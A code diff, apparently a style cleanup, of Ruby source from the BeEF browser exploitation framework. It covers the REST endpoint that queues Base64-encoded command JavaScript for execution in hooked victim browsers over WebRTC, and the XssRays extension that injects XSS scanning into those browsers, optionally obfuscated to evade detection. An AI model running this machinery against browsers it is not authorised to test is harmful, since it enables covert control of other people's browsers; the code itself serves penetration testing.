halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while queuing message (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
|
||||||
# In this instance, the message is a Base64d encoded JS command
|
# In this instance, the message is a Base64d encoded JS command
|
||||||
# which has the beef.net.send statements re-written
|
# which has the beef.net.send statements re-written
|
||||||
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
|
||||||
# for success messages, IF ANY.
|
# for success messages, IF ANY.
|
||||||
# Commands are written back to the rtcmodulestatus model
|
# Commands are written back to the rtcmodulestatus model
|
||||||
#
|
#
|
||||||
# Input must be specified in JSON format
|
# Input must be specified in JSON format
|
||||||
#
|
#
|
||||||
# +++ Example: +++
|
# +++ Example: +++
|
||||||
#POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
# POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||||
#Host: 127.0.0.1:3000
|
# Host: 127.0.0.1:3000
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
|
# {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
|
||||||
#===response (snip)===
|
#===response (snip)===
|
||||||
#HTTP/1.1 200 OK
|
# HTTP/1.1 200 OK
|
||||||
#Content-Type: application/json; charset=UTF-8
|
# Content-Type: application/json; charset=UTF-8
|
||||||
#
|
#
|
||||||
#{"success":"true"}
|
# {"success":"true"}
|
||||||
#
|
#
|
||||||
# +++ Example with curl +++
|
# +++ Example with curl +++
|
||||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||||
@@ -364,137 +354,124 @@ module BeEF
|
|||||||
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||||
#
|
#
|
||||||
post '/cmdexec' do
|
post '/cmdexec' do
|
||||||
begin
|
body = JSON.parse(request.body.read)
|
||||||
body = JSON.parse(request.body.read)
|
fromhb = body['from']
|
||||||
fromhb = body['from']
|
raise InvalidParamError, 'from' if fromhb.nil?
|
||||||
raise InvalidParamError, 'from' if fromhb.nil?
|
|
||||||
tohb = body['to']
|
|
||||||
raise InvalidParamError, 'to' if tohb.nil?
|
|
||||||
cmdid = body['cmdid']
|
|
||||||
raise InvalidParamError, 'cmdid' if cmdid.nil?
|
|
||||||
|
|
||||||
cmdoptions = body['options'] if body['options']
|
tohb = body['to']
|
||||||
cmdoptions = nil if cmdoptions.eql?("")
|
raise InvalidParamError, 'to' if tohb.nil?
|
||||||
|
|
||||||
|
cmdid = body['cmdid']
|
||||||
|
raise InvalidParamError, 'cmdid' if cmdid.nil?
|
||||||
|
|
||||||
|
cmdoptions = body['options'] if body['options']
|
||||||
|
cmdoptions = nil if cmdoptions.eql?('')
|
||||||
|
|
||||||
|
if [fromhb, tohb, cmdid].include?(nil)
|
||||||
result = {}
|
result = {}
|
||||||
|
result['success'] = false
|
||||||
unless [fromhb,tohb,cmdid].include?(nil)
|
return result.to_json
|
||||||
# Find the module, modify it, send it to be executed on the tohb
|
|
||||||
|
|
||||||
# Validate the command module by ID
|
|
||||||
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
|
|
||||||
error 404 if command_module.nil?
|
|
||||||
error 404 if command_module.path.nil?
|
|
||||||
|
|
||||||
# Get the key of the module based on the ID
|
|
||||||
key = BeEF::Module.get_key_by_database_id(cmdid)
|
|
||||||
error 404 if key.nil?
|
|
||||||
|
|
||||||
# Try to load the module
|
|
||||||
BeEF::Module.hard_load(key)
|
|
||||||
|
|
||||||
# Now the module is hard loaded, find it's object and get it
|
|
||||||
command_module = BeEF::Core::Command.const_get(
|
|
||||||
BeEF::Core::Configuration.instance.get(
|
|
||||||
"beef.module.#{key}.class"
|
|
||||||
)
|
|
||||||
).new(key)
|
|
||||||
|
|
||||||
# Check for command options
|
|
||||||
if not cmdoptions.nil?
|
|
||||||
cmddata = cmdoptions
|
|
||||||
else
|
|
||||||
cmddata = []
|
|
||||||
end
|
|
||||||
|
|
||||||
# Get path of source JS
|
|
||||||
f = command_module.path+'command.js'
|
|
||||||
error 404 if not File.exists? f
|
|
||||||
|
|
||||||
# Read file
|
|
||||||
@eruby = Erubis::FastEruby.new(File.read(f))
|
|
||||||
|
|
||||||
# Parse in the supplied parameters
|
|
||||||
cc = BeEF::Core::CommandContext.new
|
|
||||||
cc['command_url'] = command_module.default_command_url
|
|
||||||
cc['command_id'] = command_module.command_id
|
|
||||||
cmddata.each{|v|
|
|
||||||
cc[v['name']] = v['value']
|
|
||||||
}
|
|
||||||
# Evalute supplied options
|
|
||||||
@output = @eruby.evaluate(cc)
|
|
||||||
|
|
||||||
# Gsub the output, replacing all beef.net.send commands
|
|
||||||
# This needs to occur because we want this JS to send messages
|
|
||||||
# back to the peer browser
|
|
||||||
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
|
|
||||||
tmpout = "// beef.net.send removed\n"
|
|
||||||
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
|
|
||||||
cmdurl = $1.split(',')
|
|
||||||
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
|
|
||||||
tmpout += ") Result: ' + "
|
|
||||||
tmpout += cmdurl[2]
|
|
||||||
tmpout += ");"
|
|
||||||
tmpout
|
|
||||||
}
|
|
||||||
|
|
||||||
# Prepend the B64 version of the string with @
|
|
||||||
# The client JS receives the rtc message, detects the @
|
|
||||||
# and knows to decode it before execution
|
|
||||||
msg = "@" + Base64.strict_encode64(@output)
|
|
||||||
|
|
||||||
# Finally queue the message in the RTC queue for submission
|
|
||||||
# from the from browser to the to browser
|
|
||||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
|
|
||||||
msg)
|
|
||||||
|
|
||||||
result = {}
|
|
||||||
result['success'] = true
|
|
||||||
result.to_json
|
|
||||||
else
|
|
||||||
result = {}
|
|
||||||
result['success'] = false
|
|
||||||
result.to_json
|
|
||||||
end
|
|
||||||
rescue JSON::ParserError => e
|
|
||||||
print_error "Invalid JSON: #{e.message}"
|
|
||||||
halt 400
|
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while executing command (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
|
# Find the module, modify it, send it to be executed on the tohb
|
||||||
|
|
||||||
|
# Validate the command module by ID
|
||||||
|
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
|
||||||
|
error 404 if command_module.nil?
|
||||||
|
error 404 if command_module.path.nil?
|
||||||
|
|
||||||
|
# Get the key of the module based on the ID
|
||||||
|
key = BeEF::Module.get_key_by_database_id(cmdid)
|
||||||
|
error 404 if key.nil?
|
||||||
|
|
||||||
|
# Try to load the module
|
||||||
|
BeEF::Module.hard_load(key)
|
||||||
|
|
||||||
|
# Now the module is hard loaded, find it's object and get it
|
||||||
|
command_module = BeEF::Core::Command.const_get(
|
||||||
|
BeEF::Core::Configuration.instance.get(
|
||||||
|
"beef.module.#{key}.class"
|
||||||
|
)
|
||||||
|
).new(key)
|
||||||
|
|
||||||
|
# Check for command options
|
||||||
|
cmddata = cmdoptions.nil? ? [] : cmdoptions
|
||||||
|
|
||||||
|
# Get path of source JS
|
||||||
|
f = "#{command_module.path}command.js"
|
||||||
|
error 404 unless File.exist? f
|
||||||
|
|
||||||
|
# Read file
|
||||||
|
@eruby = Erubis::FastEruby.new(File.read(f))
|
||||||
|
|
||||||
|
# Parse in the supplied parameters
|
||||||
|
cc = BeEF::Core::CommandContext.new
|
||||||
|
cc['command_url'] = command_module.default_command_url
|
||||||
|
cc['command_id'] = command_module.command_id
|
||||||
|
cmddata.each do |v|
|
||||||
|
cc[v['name']] = v['value']
|
||||||
|
end
|
||||||
|
|
||||||
|
# Evalute supplied options
|
||||||
|
@output = @eruby.evaluate(cc)
|
||||||
|
|
||||||
|
# Gsub the output, replacing all beef.net.send commands
|
||||||
|
# This needs to occur because we want this JS to send messages
|
||||||
|
# back to the peer browser
|
||||||
|
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s|
|
||||||
|
tmpout = "// beef.net.send removed\n"
|
||||||
|
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
|
||||||
|
cmdurl = Regexp.last_match(1).split(',')
|
||||||
|
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
|
||||||
|
tmpout += ") Result: ' + "
|
||||||
|
tmpout += cmdurl[2]
|
||||||
|
tmpout += ');'
|
||||||
|
tmpout
|
||||||
|
end
|
||||||
|
|
||||||
|
# Prepend the B64 version of the string with @
|
||||||
|
# The client JS receives the rtc message, detects the @
|
||||||
|
# and knows to decode it before execution
|
||||||
|
msg = "@#{Base64.strict_encode64(@output)}"
|
||||||
|
|
||||||
|
# Finally queue the message in the RTC queue for submission
|
||||||
|
# from the from browser to the to browser
|
||||||
|
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg)
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
result['success'] = true
|
||||||
|
result.to_json
|
||||||
|
rescue JSON::ParserError => e
|
||||||
|
print_error "Invalid JSON: #{e.message}"
|
||||||
|
halt 400
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while executing command (#{e.message})"
|
||||||
|
halt 500
|
||||||
|
end
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/webrtc handler.
|
# Raised when invalid JSON input is passed to an /api/webrtc handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
|
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json
|
||||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'
|
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
|
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
|
||||||
class InvalidParamError < StandardError
|
class InvalidParamError < StandardError
|
||||||
|
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json
|
||||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'
|
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = "Invalid \"%s\" parameter passed to /api/webrtc handler"
|
str = 'Invalid "%s" parameter passed to /api/webrtc handler'
|
||||||
message = sprintf str, message unless message.nil?
|
message = format str, message unless message.nil?
|
||||||
super(message)
|
super(message)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,36 +4,36 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Xssrays
|
module Xssrays
|
||||||
module RegisterHttpHandler
|
module RegisterHttpHandler
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||||
|
|
||||||
#
|
#
|
||||||
# Mounts the handlers and REST interface for processing XSS rays
|
# Mounts the handlers and REST interface for processing XSS rays
|
||||||
#
|
#
|
||||||
# @param beef_server [BeEF::Core::Server] HTTP server instance
|
# @param beef_server [BeEF::Core::Server] HTTP server instance
|
||||||
#
|
#
|
||||||
def self.mount_handler(beef_server)
|
def self.mount_handler(beef_server)
|
||||||
# We register the http handler for the requester.
|
# We register the http handler for the requester.
|
||||||
# This http handler will retrieve the http responses for all requests
|
# This http handler will retrieve the http responses for all requests
|
||||||
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
|
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
|
||||||
# REST API endpoint
|
# REST API endpoint
|
||||||
beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)
|
beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
module RegisterPreHookCallback
|
module RegisterPreHookCallback
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
||||||
|
|
||||||
|
# checks at every polling if there are new scans to be started
|
||||||
|
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
|
||||||
|
return if hooked_browser.nil?
|
||||||
|
|
||||||
# checks at every polling if there are new scans to be started
|
|
||||||
def self.pre_hook_send(hooked_browser, body, params, request, response)
|
|
||||||
if hooked_browser != nil
|
|
||||||
xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
||||||
xssrays.start_scan(hooked_browser, body)
|
xssrays.start_scan(hooked_browser, body)
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -7,9 +7,7 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module Xssrays
|
module Xssrays
|
||||||
module API
|
module API
|
||||||
|
|
||||||
class Scan
|
class Scan
|
||||||
|
|
||||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||||
|
|
||||||
#
|
#
|
||||||
@@ -19,15 +17,15 @@ module BeEF
|
|||||||
@body = body
|
@body = body
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
hb = BeEF::Core::Models::HookedBrowser.find(hb.id)
|
hb = BeEF::Core::Models::HookedBrowser.find(hb.id)
|
||||||
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
|
# TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
|
||||||
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
|
# TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
|
||||||
xs = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id, :is_started => false).first
|
xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first
|
||||||
|
|
||||||
# stop here if there are no XssRays scans to be started
|
# stop here if there are no XssRays scans to be started
|
||||||
return if xs == nil || xs.is_started == true
|
return if xs.nil? || xs.is_started == true
|
||||||
|
|
||||||
# set the scan as started
|
# set the scan as started
|
||||||
xs.update(:is_started => true)
|
xs.update(is_started: true)
|
||||||
|
|
||||||
# build the beefjs xssrays component
|
# build the beefjs xssrays component
|
||||||
|
|
||||||
@@ -38,21 +36,20 @@ module BeEF
|
|||||||
|
|
||||||
ws = BeEF::Core::Websocket::Websocket.instance
|
ws = BeEF::Core::Websocket::Websocket.instance
|
||||||
|
|
||||||
|
# TODO: antisnatchor: prevent sending "content" multiple times.
|
||||||
# todo antisnatchor: prevent sending "content" multiple times.
|
|
||||||
# Better leaving it after the first run, and don't send it again.
|
# Better leaving it after the first run, and don't send it again.
|
||||||
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||||
|
|
||||||
# If we use WebSockets, just reply wih the component contents
|
# If we use WebSockets, just reply wih the component contents
|
||||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
|
||||||
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
|
content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('//
|
||||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
// See the file \'doc/COPYING\' for copying permission
|
// See the file \'doc/COPYING\' for copying permission
|
||||||
//', "")
|
//', '')
|
||||||
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout
|
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout
|
||||||
|
|
||||||
if config.get("beef.extension.evasion.enable")
|
if config.get('beef.extension.evasion.enable')
|
||||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||||
ws.send(evasion.obfuscate(content) + @body, hb.session)
|
ws.send(evasion.obfuscate(content) + @body, hb.session)
|
||||||
else
|
else
|
||||||
@@ -65,19 +62,18 @@ module BeEF
|
|||||||
end
|
end
|
||||||
|
|
||||||
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].")
|
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].")
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def add_to_body(id, session, beefurl, cross_domain, timeout)
|
def add_to_body(id, session, beefurl, cross_domain, timeout)
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
req = %Q{
|
req = %{
|
||||||
beef.execute(function() {
|
beef.execute(function() {
|
||||||
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout});
|
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if config.get("beef.extension.evasion.enable")
|
if config.get('beef.extension.evasion.enable')
|
||||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||||
@body << evasion.obfuscate(req)
|
@body << evasion.obfuscate(req)
|
||||||
else
|
else
|
||||||
|
|||||||
@@ -4,11 +4,10 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Xssrays
|
module Xssrays
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/xssrays/models/xssraysscan'
|
require 'extensions/xssrays/models/xssraysscan'
|
||||||
@@ -17,4 +16,3 @@ require 'extensions/xssrays/api/scan'
|
|||||||
require 'extensions/xssrays/handler'
|
require 'extensions/xssrays/handler'
|
||||||
require 'extensions/xssrays/api'
|
require 'extensions/xssrays/api'
|
||||||
require 'extensions/xssrays/rest/xssrays'
|
require 'extensions/xssrays/rest/xssrays'
|
||||||
|
|
||||||
|
|||||||
@@ -6,9 +6,7 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Xssrays
|
module Xssrays
|
||||||
|
|
||||||
class Handler < BeEF::Core::Router::Router
|
class Handler < BeEF::Core::Router::Router
|
||||||
|
|
||||||
XS = BeEF::Core::Models::Xssraysscan
|
XS = BeEF::Core::Models::Xssraysscan
|
||||||
XD = BeEF::Core::Models::Xssraysdetail
|
XD = BeEF::Core::Models::Xssraysdetail
|
||||||
HB = BeEF::Core::Models::HookedBrowser
|
HB = BeEF::Core::Models::HookedBrowser
|
||||||
@@ -18,15 +16,15 @@ module BeEF
|
|||||||
# raise an error if it's null or not found in the DB
|
# raise an error if it's null or not found in the DB
|
||||||
beef_hook = params[:hbsess] || nil
|
beef_hook = params[:hbsess] || nil
|
||||||
|
|
||||||
if beef_hook.nil? || HB.where(:session => beef_hook).first.nil?
|
if beef_hook.nil? || HB.where(session: beef_hook).first.nil?
|
||||||
print_error "[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database"
|
print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
# verify the specified ray ID is valid
|
# verify the specified ray ID is valid
|
||||||
rays_scan_id = params[:raysid] || nil
|
rays_scan_id = params[:raysid] || nil
|
||||||
if rays_scan_id.nil? || !BeEF::Filters::nums_only?(rays_scan_id)
|
if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id)
|
||||||
print_error "[XSSRAYS] Invalid ray ID"
|
print_error '[XSSRAYS] Invalid ray ID'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -39,34 +37,33 @@ module BeEF
|
|||||||
finalize_scan(rays_scan_id)
|
finalize_scan(rays_scan_id)
|
||||||
else
|
else
|
||||||
# invalid action
|
# invalid action
|
||||||
print_error "[XSSRAYS] Invalid action"
|
print_error '[XSSRAYS] Invalid action'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
headers 'Pragma' => 'no-cache',
|
headers 'Pragma' => 'no-cache',
|
||||||
'Cache-Control' => 'no-cache',
|
'Cache-Control' => 'no-cache',
|
||||||
'Expires' => '0',
|
'Expires' => '0',
|
||||||
'Access-Control-Allow-Origin' => '*',
|
'Access-Control-Allow-Origin' => '*',
|
||||||
'Access-Control-Allow-Methods' => 'POST,GET'
|
'Access-Control-Allow-Methods' => 'POST,GET'
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
|
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
|
||||||
def parse_rays(rays_scan_id)
|
def parse_rays(rays_scan_id)
|
||||||
xssrays_scan = XS.find(rays_scan_id)
|
xssrays_scan = XS.find(rays_scan_id)
|
||||||
hooked_browser = HB.where(:session => params[:hbsess]).first
|
hooked_browser = HB.where(session: params[:hbsess]).first
|
||||||
|
|
||||||
if xssrays_scan.nil?
|
if xssrays_scan.nil?
|
||||||
print_error "[XSSRAYS] Invalid scan"
|
print_error '[XSSRAYS] Invalid scan'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
xssrays_detail = XD.new(
|
xssrays_detail = XD.new(
|
||||||
:hooked_browser_id => hooked_browser.session,
|
hooked_browser_id: hooked_browser.session,
|
||||||
:vector_name => params[:n],
|
vector_name: params[:n],
|
||||||
:vector_method => params[:m],
|
vector_method: params[:m],
|
||||||
:vector_poc => params[:p],
|
vector_poc: params[:p],
|
||||||
:xssraysscan_id => xssrays_scan.id
|
xssraysscan_id: xssrays_scan.id
|
||||||
)
|
)
|
||||||
xssrays_detail.save
|
xssrays_detail.save
|
||||||
|
|
||||||
@@ -79,11 +76,11 @@ module BeEF
|
|||||||
xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id)
|
xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id)
|
||||||
|
|
||||||
if xssrays_scan.nil?
|
if xssrays_scan.nil?
|
||||||
print_error "[XSSRAYS] Invalid scan"
|
print_error '[XSSRAYS] Invalid scan'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
xssrays_scan.update(:is_finished => true, :scan_finish => Time.now)
|
xssrays_scan.update(is_finished: true, scan_finish: Time.now)
|
||||||
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
|
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,16 +4,15 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
#
|
#
|
||||||
# Store the rays details, basically verified XSS vulnerabilities
|
# Store the rays details, basically verified XSS vulnerabilities
|
||||||
#
|
#
|
||||||
class Xssraysdetail < BeEF::Core::Model
|
class Xssraysdetail < BeEF::Core::Model
|
||||||
belongs_to :hooked_browser
|
belongs_to :hooked_browser
|
||||||
belongs_to :xssraysscan
|
belongs_to :xssraysscan
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,17 +4,14 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Core
|
module Core
|
||||||
module Models
|
module Models
|
||||||
#
|
#
|
||||||
# Store the XssRays scans started and finished, with relative ID
|
# Store the XssRays scans started and finished, with relative ID
|
||||||
#
|
#
|
||||||
class Xssraysscan < BeEF::Core::Model
|
class Xssraysscan < BeEF::Core::Model
|
||||||
|
has_many :xssrays_details
|
||||||
has_many :xssrays_details
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -6,10 +6,8 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Xssrays
|
module Xssrays
|
||||||
|
|
||||||
# This class handles the routing of RESTful API requests for XSSRays
|
# This class handles the routing of RESTful API requests for XSSRays
|
||||||
class XssraysRest < BeEF::Core::Router::Router
|
class XssraysRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
# Filters out bad requests before performing any routing
|
# Filters out bad requests before performing any routing
|
||||||
before do
|
before do
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
@@ -18,9 +16,9 @@ module BeEF
|
|||||||
halt 401 unless params[:token] == config.get('beef.api_token')
|
halt 401 unless params[:token] == config.get('beef.api_token')
|
||||||
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||||
|
|
||||||
CLEAN_TIMEOUT = config.get("beef.extension.xssrays.clean_timeout") || 3_000
|
CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000
|
||||||
CROSS_DOMAIN = config.get("beef.extension.xssrays.cross_domain") || true
|
CROSS_DOMAIN = config.get('beef.extension.xssrays.cross_domain') || true
|
||||||
|
|
||||||
HB = BeEF::Core::Models::HookedBrowser
|
HB = BeEF::Core::Models::HookedBrowser
|
||||||
XS = BeEF::Core::Models::Xssraysscan
|
XS = BeEF::Core::Models::Xssraysscan
|
||||||
XD = BeEF::Core::Models::Xssraysdetail
|
XD = BeEF::Core::Models::Xssraysdetail
|
||||||
@@ -33,142 +31,133 @@ module BeEF
|
|||||||
|
|
||||||
# Returns the entire list of rays for all zombies
|
# Returns the entire list of rays for all zombies
|
||||||
get '/rays' do
|
get '/rays' do
|
||||||
begin
|
rays = XD.all.distinct.order(:id)
|
||||||
rays = XD.all.distinct.order(:id)
|
count = rays.length
|
||||||
count = rays.length
|
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:rays] = []
|
result[:rays] = []
|
||||||
rays.each do |ray|
|
rays.each do |ray|
|
||||||
result[:rays] << ray2hash(ray)
|
result[:rays] << ray2hash(ray)
|
||||||
end
|
|
||||||
result.to_json
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while retrieving rays (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
result.to_json
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Internal error while retrieving rays (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns all rays given a specific hooked browser id
|
# Returns all rays given a specific hooked browser id
|
||||||
get '/rays/:id' do
|
get '/rays/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
rays = XD.where(:hooked_browser_id => id).distinct.order(:id)
|
rays = XD.where(hooked_browser_id: id).distinct.order(:id)
|
||||||
count = rays.length
|
count = rays.length
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:rays] = []
|
result[:rays] = []
|
||||||
rays.each do |ray|
|
